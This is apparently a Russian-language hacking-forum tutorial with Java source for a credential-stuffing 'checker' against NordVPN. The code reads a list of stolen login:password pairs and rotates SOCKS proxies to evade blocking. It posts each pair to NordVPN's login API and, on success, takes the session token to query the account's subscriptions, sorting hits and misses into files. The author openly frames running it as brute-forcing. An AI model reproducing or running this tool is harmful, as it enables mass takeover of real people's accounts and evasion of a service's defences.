Dyrt hjort
Местный
Всем привет. Думаю пора мне внести свою лепту на форум. Сегодня я постараюсь научить хоть кого-нибудь как написать свой чекер на сервис nordvpn используя язык программирования java, а так как я не знаю как писать красивые речи, то давайте приступать.
1. Скачиваем среду разработки(лично я использую Intellij IDEA вы можете скачать ее или eclipce)
2. Cоздаем проект( я создал мавен, но вы можете создать как и обычный java проект, либо же Gradle все от вашего вкуса), если вы используете мавен, то добавьте в pom.xml следующие строки:
3. Теперь создадим пакет(не обязательно, но все же) su.vlmi.nordvpn
4. В этом пакете создаем классы Main, Nordvpn, Basa, Prox, Chp и Writ:
5. Теперь давайте создадим запрос в методое nord(), который находиться в классе Nordvpn используя библиотеку okhttp. Я использую данную библиотеку благодаря поддержке проксей типа socks4\5
6. Cейчас заполним класс Basa и Prox:
7. Сейчас сделаем проверку проксей на валид в классе Chp:
8. Делаем класс для записи результатов
9. Ну и напоследок напишем 1 строчку в Main:
public static void main(String[] args) throws Exception {
new Nordvpn().nord();
}
Теперь вам осталось сбилдить и по желанию дописать гуи.(Псс, ты можешь не билдить, а прямо из среды разработки начать брутить просто запустив код.
Надеюсь данная тема была вам полезна и вы хоть чем-то научились. Будут вопросы - задавайте, не я так другие ответят :D
P.S. Я знаю, что код не идеальный.
P,S,S Если тема не в том разделе, то прошу извинить так как не знал куда пихать данную тему.
1. Скачиваем среду разработки(лично я использую Intellij IDEA вы можете скачать ее или eclipce)
2. Cоздаем проект( я создал мавен, но вы можете создать как и обычный java проект, либо же Gradle все от вашего вкуса), если вы используете мавен, то добавьте в pom.xml следующие строки:
Код:
<dependencies>
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>3.10.0</version>
</dependency>
</dependencies>
4. В этом пакете создаем классы Main, Nordvpn, Basa, Prox, Chp и Writ:
Main с гавным методом Main
Nordvpn c методом nord
Basa c 2-мя методами maxb - будет давать нам кол-во строк в файле и getlog - будет давать нам содержимое файла
Prox так же с 2-мя методами имеющих похожие на методы из Basa задачи
Chp c методом getCp - проверяет прокси на валид
Стринговая(строковая) переменная дир содержит в себе путь до файла(с базой и проксями)
Writ
Код:
package su.vlmi.nordvpn
public class Main{
public static void main(String[] args) throws Exception {
}
}
Код:
package su.vlmi.nordvpn
public class Nordvpn {
public void nord() throws IOException {
}
}
Код:
package su.vlmi.nordvpn
public class Basa {
String dir = "path to u file with base";
public int maxb() throws IOException {
}
public static String getlog(int i) throws IOException {
}
}
Код:
package su.vlmi.nordvpn
public class Prox{
String dir = "path to u file with proxy";
public int maxp() throws IOException{
}
public static String getPro(){
}
}
Код:
package su.vlmi.nordvpn
public class Chp {
public static String getCp(int i) throws IOException{
}
}
Стринговая(строковая) переменная дир содержит в себе путь до файла(с базой и проксями)
Writ
Код:
package su.vlmi.nordvpn
public class Writ {
public void goods(String a) throws IOException{
String dir = "A way to write the result";
}
public void bads(String a) throws IOException
String dir = "A way to write the result";
}
5. Теперь давайте создадим запрос в методое nord(), который находиться в классе Nordvpn используя библиотеку okhttp. Я использую данную библиотеку благодаря поддержке проксей типа socks4\5
Код:
int p = new Basa().maxb(); // переменную p приравниваем к кол-ву строк в файле с базой
int end =0; // переменная для цикла
int q = new Prox().maxp(); // переменную q приравниваем к кол-ву строк в файле с проксями
String js = ""; // тут будет тело содержащее логин + пароль в виде json
while(end < p) { // цикл, который будет работать столько кругов, сколько строк в файле.
String px = "";
String a = "";
for (int i = 0; i <= q; i++) {
try {
a = new Chp().getCp(i);
if(a != null){
px = a;
break;
}
}catch (IOException e1){
}
if (i == q){
i = 0;
}
}
if(px == null){
break;
}
Proxy proxy = null ;
try {
String[] socs = px.split(":");// тут мы запрашиваем строку содержащую в себе хост:порт и разбиваем ее split-ом
String host = socs[0]; // значение до ":" идет сюда
String prt = socs[1];//значение после ":" идет сюда
int port = Integer.parseInt(prt);// тут мы из строки делаем число
proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host, port));
}catch (Exception e3){
e3.printStackTrace();
}
try {
String[] lp = Basa.getlog(end).split(":");// тут происходит аналогичные действия что и с проксями
if(lp != null) {
String log = lp[0];
String pass = lp[1];
js = "{\"login\":\"" + log + "\",\"password\":\"" + pass + "\"}";
}else{
break;
}
}catch (Exception e2){
e2.printStackTrace();
}
if(js == null){
break;
}
OkHttpClient client = new OkHttpClient.Builder().proxy(proxy).build();
MediaType MIMEType= MediaType.parse("application/json; charset=utf-8");
RequestBody requestBody = RequestBody.create (MIMEType,js);
Request request = new Request.Builder().url("https://ucp.nordvpn.com/api/v1/users/login").post(requestBody).build();
Response response = null;
try{
response = client.newCall(request).execute();
}catch (Exception e4){
}
if(response.code() == 204){
String token = "";
for (String cookie:response.header("Set-cookie").split(";")) {//тут мы проходим по всем хедерам в ответе содержащих в себе "Set-cookie" и спилтим их
if(cookie.split("=")[0].equals("token")) {//если в найденном хедере есть знак "=" и слово токен, то
token = cookie;//переменную токен мы приравниваем к значению токена из куков
}
}
//тут мы делаем get запрос для проверки подписки
request = new Request.Builder()
.header("cookie", token)
.url("https://ucp.nordvpn.com/api/v1/users/subscriptions")
.get()
.build();
response = client.newCall(request).execute();
//Тут вам домашнее задание дописать пару строк для парсинга json ответа.
System.out.println(response.body().string());
new Writ().goods(js);
}else{
new Writ().bads(js);
}
}
Код:
static String dir = "path to u file with base";
public int maxb() throws IOException {
//тут мы возвращаем кол-во строк в файле
return Files.readAllLines(Paths.get(dir), StandardCharsets.UTF_8).size();
}
public static String getlog(int i) throws IOException {
//тут мы читаем файл по строчно и передаем значения в метод nord()
File file = new File(dir);
FileReader fr = new FileReader(file);
BufferedReader reader = new BufferedReader(fr);
String line = reader.readLine();
for(int y = 0; y < i;y++){
line = reader.readLine();
}
return String.valueOf(line);
}
Код:
static String dir = "path to u file with base";
public int maxp() throws IOException {
return Files.readAllLines(Paths.get(dir), StandardCharsets.UTF_8).size();
}
public static String getProx(int i) throws IOException {
File file = new File(dir);
FileReader fr = new FileReader(file);
BufferedReader reader = new BufferedReader(fr);
String line = reader.readLine();
for(int y = 0; y < i;y++){
line = reader.readLine();
}
return String.valueOf(line);
}
Код:
String list = new Prox().getProx(i);
String host = "";
int portt = 0 ;
String sp = list;
String[] hp = sp.split(":");
host = hp[0];
portt = Integer.parseInt(hp[1]);
Proxy Poy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host, portt));
OkHttpClient client = new OkHttpClient.Builder()
.proxy(Poy)
.connectTimeout(7, TimeUnit.SECONDS)
.writeTimeout(5, TimeUnit.SECONDS)
.readTimeout(5, TimeUnit.SECONDS)
.build();
Request req = new Request.Builder().url("https://google.com").build();
Response response;
try {
response = client.newCall(req).execute();
}catch (IOException e){
return null;
}
if(response.code() == 200){
System.out.println("gooood!");
return String.valueOf(list);
}
return null;
8. Делаем класс для записи результатов
Код:
//код для обоих методов
this.a = a + "\r\n";//"\r\n" позволит записывать в столбик
Files.write(Paths.get(dir), a.getBytes(), StandardOpenOption.APPEND);
public static void main(String[] args) throws Exception {
new Nordvpn().nord();
}
Теперь вам осталось сбилдить и по желанию дописать гуи.(Псс, ты можешь не билдить, а прямо из среды разработки начать брутить просто запустив код.
Надеюсь данная тема была вам полезна и вы хоть чем-то научились. Будут вопросы - задавайте, не я так другие ответят :D
P.S. Я знаю, что код не идеальный.
P,S,S Если тема не в том разделе, то прошу извинить так как не знал куда пихать данную тему.